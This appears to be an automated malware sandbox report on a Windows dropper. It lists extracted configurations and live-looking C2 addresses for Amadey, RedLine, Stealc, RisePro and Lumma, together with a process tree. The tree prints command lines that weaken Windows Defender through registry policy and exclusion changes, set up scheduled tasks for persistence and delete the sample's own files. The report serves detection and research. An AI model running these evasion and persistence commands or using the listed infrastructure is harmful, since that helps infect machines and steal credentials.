Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 02:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    09877a0ec18311250e6ab373ebe0cca2a8f3f17646b2d56ed3f0b1ebc74327ba.exe
  • Size 1.8MB
  • Sample240531-css68abg4y
  • SHA256 09877a0ec18311250e6ab373ebe0cca2a8f3f17646b2d56ed3f0b1ebc74327ba
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeylummaprivateloaderredlineriseprostealc0e6740149e482@logscloudyt_botzzvvbootkitdiscoveryevasionexecutioninfostealerloaderpersistencespywarestealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 4.21

Botnet

  • 0e6740

C2

  • http://147.45.47.155

Attributes
  • install_dir

    9217037dc9

  • install_file

    explortu.exe

  • strings_key

    8e894a8a4a3d0da8924003a561cfb244

  • url_paths

    /ku4Nor9/index.php

rc4.plain

Extracted

Family

  • amadey

Version

  • 4.21

Botnet

  • 49e482

C2

  • http://147.45.47.70

Attributes
  • install_dir

    1b29d73536

  • install_file

    axplont.exe

  • strings_key

    4d31dd1a190d9879c21fac6d87dc0043

  • url_paths

    /tr8nomy/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • 1

C2

  • 185.215.113.67:40960

Extracted

Family

  • redline

Botnet

  • @LOGSCLOUDYT_BOT

C2

  • 185.172.128.33:8970

Extracted

Family

  • stealc

Botnet

  • zzvv

C2

  • http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

  • risepro

C2

  • 147.45.47.126:58709

Extracted

Family

  • lumma

C2

  • https://roomabolishsnifftwk.shop/api

  • https://museumtespaceorsp.shop/api

  • https://buttockdecarderwiso.shop/api

  • https://averageaattractiionsl.shop/api

  • https://detailbaconroollyws.shop/api

  • https://femininiespywageg.shop/api

  • https://horsedwollfedrwos.shop/api

  • https://employhabragaomlsp.shop/api

  • https://patternapplauderw.shop/api

  • https://stalfbaclcalorieeis.shop/api

  • https://understanndtytonyguw.shop/api

  • https://civilianurinedtsraov.shop/api

  • https://considerrycurrentyws.shop/api

  • https://messtimetabledkolvk.shop/api

  • https://deprivedrinkyfaiir.shop/api

  • https://relaxtionflouwerwi.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 4 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Sets file execution options in registry 2 TTPs 2 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 24 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 47 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 18 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers COM server for autorun 1 TTPs 33 IoCs
    persistence
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Checks system information in the registry 2 TTPs 10 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 35 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 5 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\09877a0ec18311250e6ab373ebe0cca2a8f3f17646b2d56ed3f0b1ebc74327ba.exe
    "C:\Users\Admin\AppData\Local\Temp\09877a0ec18311250e6ab373ebe0cca2a8f3f17646b2d56ed3f0b1ebc74327ba.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
      "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
        "C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
        3⤵
          PID:4704
        • C:\Users\Admin\1000004002\8591ee5167.exe
          "C:\Users\Admin\1000004002\8591ee5167.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2296
          • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
            "C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2616
            • C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
              "C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:4852
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                6⤵
                • Checks computer location settings
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3460
                • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
                  "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4316
                • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
                  "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5064
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                  7⤵
                    PID:1524
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 3
                      8⤵
                        PID:5592
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 260
                    6⤵
                    • Program crash
                    PID:4116
                • C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"
                  5⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4724
                • C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:4176
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                      PID:2188
                  • C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:1548
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      6⤵
                        PID:1204
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 256
                        6⤵
                        • Program crash
                        PID:5200
                    • C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      • Suspicious use of WriteProcessMemory
                      PID:2220
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        6⤵
                        • Checks computer location settings
                        • Checks processor information in registry
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3852
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit
                          7⤵
                            PID:4116
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 5
                              8⤵
                              • Delays execution with timeout.exe
                              PID:4696
                      • C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3136
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
                          6⤵
                            PID:5280
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                            6⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5308
                            • C:\Users\Admin\Pictures\6q8tKrQchi52heQMtWmh554D.exe
                              "C:\Users\Admin\Pictures\6q8tKrQchi52heQMtWmh554D.exe" /s
                              7⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Writes to the Master Boot Record (MBR)
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5756
                            • C:\Users\Admin\Pictures\YbOCjtBJw8oGyBWld7zN2xl0.exe
                              "C:\Users\Admin\Pictures\YbOCjtBJw8oGyBWld7zN2xl0.exe"
                              7⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5892
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                8⤵
                                • Suspicious use of SetThreadContext
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5576
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                  9⤵
                                    PID:2728
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                  8⤵
                                  • Checks SCSI registry key(s)
                                  PID:3460
                              • C:\Users\Admin\Pictures\gxT5ZBCSo9QEiFsGWcqm8cXW.exe
                                "C:\Users\Admin\Pictures\gxT5ZBCSo9QEiFsGWcqm8cXW.exe"
                                7⤵
                                • Executes dropped EXE
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:5888
                              • C:\Users\Admin\Pictures\R2QwJqEooCQCJkM1D9kkQBDA.exe
                                "C:\Users\Admin\Pictures\R2QwJqEooCQCJkM1D9kkQBDA.exe"
                                7⤵
                                • Modifies firewall policy service
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                PID:5528
                              • C:\Users\Admin\Pictures\E0rOfV512gr6sIlgm8cbcw0M.exe
                                "C:\Users\Admin\Pictures\E0rOfV512gr6sIlgm8cbcw0M.exe"
                                7⤵
                                • Executes dropped EXE
                                PID:5116
                                • C:\Users\Admin\AppData\Local\Temp\7zSC9D.tmp\Install.exe
                                  .\Install.exe
                                  8⤵
                                  • Executes dropped EXE
                                  PID:3756
                                  • C:\Users\Admin\AppData\Local\Temp\7zSEC0.tmp\Install.exe
                                    .\Install.exe /NQHxdidUQs "385118" /S
                                    9⤵
                                    • Checks BIOS information in registry
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Enumerates system info in registry
                                    PID:520
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                      10⤵
                                        PID:5504
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                          11⤵
                                            PID:5360
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                              12⤵
                                                PID:4676
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                  13⤵
                                                    PID:2968
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                11⤵
                                                  PID:5604
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                    12⤵
                                                      PID:5612
                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                        13⤵
                                                          PID:4980
                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                      11⤵
                                                        PID:4044
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                          12⤵
                                                            PID:3640
                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                              13⤵
                                                                PID:5652
                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                            11⤵
                                                              PID:456
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                12⤵
                                                                  PID:5676
                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                    13⤵
                                                                      PID:2596
                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                  11⤵
                                                                    PID:1460
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                      12⤵
                                                                        PID:3668
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                          13⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5140
                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                            14⤵
                                                                              PID:5664
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                      10⤵
                                                                        PID:5752
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                          11⤵
                                                                            PID:1500
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                              12⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:5176
                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                13⤵
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:5604
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 02:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSEC0.tmp\Install.exe\" 1g /pYQdidwuNZ 385118 /S" /V1 /F
                                                                          10⤵
                                                                          • Drops file in Windows directory
                                                                          • Creates scheduled task(s)
                                                                          PID:1748
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"
                                                                          10⤵
                                                                            PID:5124
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                              11⤵
                                                                                PID:5408
                                                                                • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                  schtasks /run /I /tn bqGGCwwWIommTRgeuN
                                                                                  12⤵
                                                                                    PID:4012
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 520 -s 712
                                                                                10⤵
                                                                                • Program crash
                                                                                PID:456
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                                                                        6⤵
                                                                          PID:5320
                                                                      • C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"
                                                                        5⤵
                                                                        • Checks computer location settings
                                                                        • Executes dropped EXE
                                                                        PID:2468
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F
                                                                          6⤵
                                                                          • Creates scheduled task(s)
                                                                          PID:4944
                                                                        • C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"
                                                                          6⤵
                                                                          • Executes dropped EXE
                                                                          PID:5692
                                                                          • C:\Users\Admin\AppData\Local\Temp\e57c19a\download.exe
                                                                            run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"
                                                                            7⤵
                                                                            • Checks computer location settings
                                                                            • Executes dropped EXE
                                                                            PID:5804
                                                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeWebview2Setup.exe" /install
                                                                              8⤵
                                                                              • Executes dropped EXE
                                                                              • Drops file in Program Files directory
                                                                              PID:6036
                                                                              • C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeUpdate.exe
                                                                                "C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeUpdate.exe" /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
                                                                                9⤵
                                                                                • Sets file execution options in registry
                                                                                • Checks computer location settings
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                • Checks system information in the registry
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:5152
                                                                                • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
                                                                                  10⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Modifies registry class
                                                                                  PID:5128
                                                                                • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                                                                                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
                                                                                  10⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Modifies registry class
                                                                                  PID:1548
                                                                                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                                                                                    11⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Registers COM server for autorun
                                                                                    • Modifies registry class
                                                                                    PID:5252
                                                                                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                                                                                    11⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Registers COM server for autorun
                                                                                    • Modifies registry class
                                                                                    PID:5352
                                                                                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.187.39\MicrosoftEdgeUpdateComRegisterShell64.exe"
                                                                                    11⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Registers COM server for autorun
                                                                                    • Modifies registry class
                                                                                    PID:520
                                                                                • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
